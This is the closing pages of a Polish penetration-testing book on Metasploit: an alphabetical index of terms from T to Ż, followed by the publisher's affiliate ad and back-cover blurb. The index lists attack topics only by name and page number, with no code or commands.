 technika pass the hash, 245  
 technologia VoIP, 161  
 telefonia IP, 162  
 terminal systemu BackTrack, 109  
 testowanie  
 modułu exploita, 152  
 z minimalną wiedzą, 154  
 testy  
 obciążeniowe, 175  
 penetracyjne  
 sieć bezprzewodowa, 179  
 sieć VoIP, 161  
 Windows 8, 85  
 Windows XP, 78  
 tęczeowe tablice, 246, 247  
 TLS, Transport Layer Security, 163  
 TLV, Type-Length-Value, 234  
 tokeny  
 delegowania, 276  
 personifikacji, 276  
 topologie VoIP, 162

transfer danych SWF, 103

tworzenie

- fuzzera, 156
- katalogu dziennika skryptu, 269
- ładunku, 214
- modułu, 136
- nasłuchiacza, 107
- skryptów połączeń trwałych, 269
- skryptu, 263
- złośliwego pliku, 105

## U

U3D, Universal 3D, 108

Ubuntu, 23

UI, user interface, 21

ukrywanie okna poleceń, 120

uprawnienia

- odczytu/zapisu, 135
- użytkownika, 115

uruchamianie

- apletu, 218
- exploita, 90
- modułu, 139

urządzenie

- PDA, 194
- Zoiper, 176

usługa

- LSA RPC, 91
- online SIP, 163
- Samba, 89

usługi

- hostowane, 162
- programów antywirusowych, 116

ustawienia adaptera sieciowego, 31

usuwanie bazy danych, 35

uszkodzenie pamięci, 106

użytkownik

- Admin, 71
- root, 71, 112

używanie modułu pomocniczego,  
123

## V

VLAN hopping, 170

VNC, Virtual Network Computing,  
271

VoIP, 161

## W

wabik, 51

walidacja, 268

walidacja rekordów SPR, 212

wardriving, 194–198

wektor ataku

- spear-phishing, 212
- wieloaspektowego, 218
- WWW, 215

wersja SSH, 59

weryfikacja

- treści, 212
- wersji, 264

wiadomość e-mail, 215

wiązanie powłoki, 83

wiersz poleceń, 78, 117

Wi-Fi, 179

Windows, 21

Windows 2003, 128

Windows 7, 116

Windows 7 Ultimate, 92

Windows 8, 85, 120

Windows XP SP2, 78

Windows XP SP3, 98

współczynnik wykrycia, 111

wstrzykiwanie

- bibliotek DLL, 92
- serwera VNC, 271
- zapytań, 37

wybór

- exploita, 79, 89
- ładunku, 80, 90

wykonywanie skryptu na maszynie

docelowej, 271

wykrywanie

- adresu MAC, 172
- ciasteczek, 194
- systemu operacyjnego, 50
- wersji usług, 50

wylączenie

- ochrony antywirusowej,  
113–116
- usług, 118

wyszukiwanie sieci Wi-Fi, 194

wyszukiwarka SHODAN, 43

wyświetlanie

- komunikatu, 265
- skryptu, 267
- wyników, 263

wywołanie

- print\_error, 256
- print\_good, 256
- print\_line, 256
- print\_status, 256

## Z

zachowanie konwencji pliku, 264

zacieranie śladów, 237

zainfekowane nośniki danych, 219

zamiatanie SNMP, 63

zamykanie kanału, 236

zapis plików, 270

zapytanie SQL, 127

zastosowania Meterpretera, 11

zbieranie informacji, 18, 41

aktywne, 42

pasywne, 42, 44

za pomocą narzędzi  
socjotechnicznych, 42

zdalne

- wstrzykiwanie serwera, 271
- wywołanie procedury, 81

zdalny dostęp, 83

złamany klucz szyfrujący, 191

złośliwe hiperłącze, 98

złośliwy

- adres URL, 98
- plik, 105

zmienne globalne, 263

znak

- wieloznaczności, 117
- zachęty, 102

zwiększanie

- anonimowości, 51
- uprawnień, 129

## Ż

żądania SIP, 163

żądanie autoryzacji SIP, 168



# PROGRAM PARTNERSKI

GRUPY WYDAWNICZEJ HELION



- 1. ZAREJESTRUJ SIĘ**
- 2. PREZENTUJ KSIĄŻKI**
- 3. ZBIERAJ PROWIZJĘ**

Zmień swoją stronę WWW  
w działający bankomat!

**Dowiedz się więcej i dołącz już dzisiaj!**

<http://program-partnerski.helion.pl>

# Metasploit Receptury pentestera

Wydanie II

Jeżeli Twój system przechowuje i przetwarza poufne informacje — dane osobowe, numery kart kredytowych, wiadomości e-mail, dane finansowe lub coś równie ważnego — jest łakomym kąskiem dla cyberprzestępców. Jeżeli wizja kradzieży Twoich danych spędza Ci sen z powiek i zastanawiasz się, jak najlepiej sprawdzić stan bezpieczeństwa Twojego systemu, to odpowiedź jest jedna — zaatakuj go sam! Testy penetracyjne to najskuteczniejsza metoda weryfikacji bezpieczeństwa.

Metasploit to narzędzie używane przez profesjonalistów do prowadzenia testów penetracyjnych. Jeżeli chcesz poznać najlepsze przepisy na jego wykorzystanie, to trafieś na doskonałą książkę! Zawiera ona ponad 80 receptur omawiających najbardziej skuteczne techniki testowania. W trakcie lektury dowiesz się, jak sprawnie skonfigurować Metasploit, ominąć ochronę antywirusową oraz skanować porty w systemach. Ponadto nauczysz się prowadzić testy penetracyjne sieci bezprzewodowych, korzystać z exploitów oraz używać modułów pomocniczych. Od dawna wiadomo, że najsłabszym ogniwem w systemie bezpieczeństwa jest człowiek, dlatego warto zaznajomić się z rozdziałem omawiającym pakiet narzędzi socjotechnicznych — *Social Engineer-Toolkit*. Książka ta jest obowiązkową pozycją na półce każdego pentestera!

**Testy penetracyjne — zadбай o bezpieczeństwo  
Twojego systemu!**

**helion.pl**  
księgarnia  
internetowa

Nr katalogowy: 23858



Księgarnia internetowa:  
<http://helion.pl>



Zamówienia telefoniczne:  
**0 801 339900**



**0 601 339900**

[PACKT] open source\*  
PUBLISHING community experience distilled



**Helion**

Sprawdź najnowsze promocje:  
• <http://helion.pl/promocje>  
Książki najchętniej czytane:  
• <http://helion.pl/bestsellery>  
Zamów informacje o nowościach:  
• <http://helion.pl/nowosci>

Helion SA  
ul. Kościuski 1c, 44-100 Gliwice  
tel.: 32 230 98 63  
e-mail: [helion@helion.pl](mailto:helion@helion.pl)  
<http://helion.pl>



**Dzięki tej książce:**

- zainstalujesz i skonfigurujesz narzędzie Metasploit
- wykorzystasz język Ruby do budowy skryptów
- przeprowadzisz testy penetracyjne sieci VoIP
- poznasz pakiet narzędzi socjotechnicznych
- skutecznie zweryfikujesz bezpieczeństwo systemu informatycznego

sięgnij po **WIĘCEJ**



KOD KORZYŚCI

ISBN 978-83-246-9131-9



9 788324 691319

Cena: 59,00 zł

Informatyka w najlepszym wydaniu